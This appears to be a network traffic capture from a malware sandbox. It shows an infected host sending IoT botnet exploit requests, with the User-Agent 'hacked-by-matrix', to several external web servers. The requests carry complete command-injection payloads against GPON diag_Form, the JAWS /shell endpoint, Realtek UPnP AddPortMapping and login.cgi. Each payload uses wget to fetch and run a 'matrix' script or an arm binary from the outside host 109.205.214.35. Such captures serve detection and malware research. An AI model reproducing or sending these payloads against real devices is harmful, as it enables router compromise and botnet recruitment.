Mar 21, 2024 05:23:08.501310110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.14	44214	34.49.34.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.682599068 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:09.245393038 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:09.336050987 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Thu, 21 Mar 2024 04:23:09 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.14	60928	157.245.35.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.737211943 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.14	56942	34.120.67.165	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.919821978 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.14	56944	34.120.67.165	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.012156010 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:09.535975933 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:10.143945932 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.14	36366	162.241.153.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.167839050 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:09.324031115 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:09.446449995 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:08 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:23:09.446549892 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:23:09.446643114 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
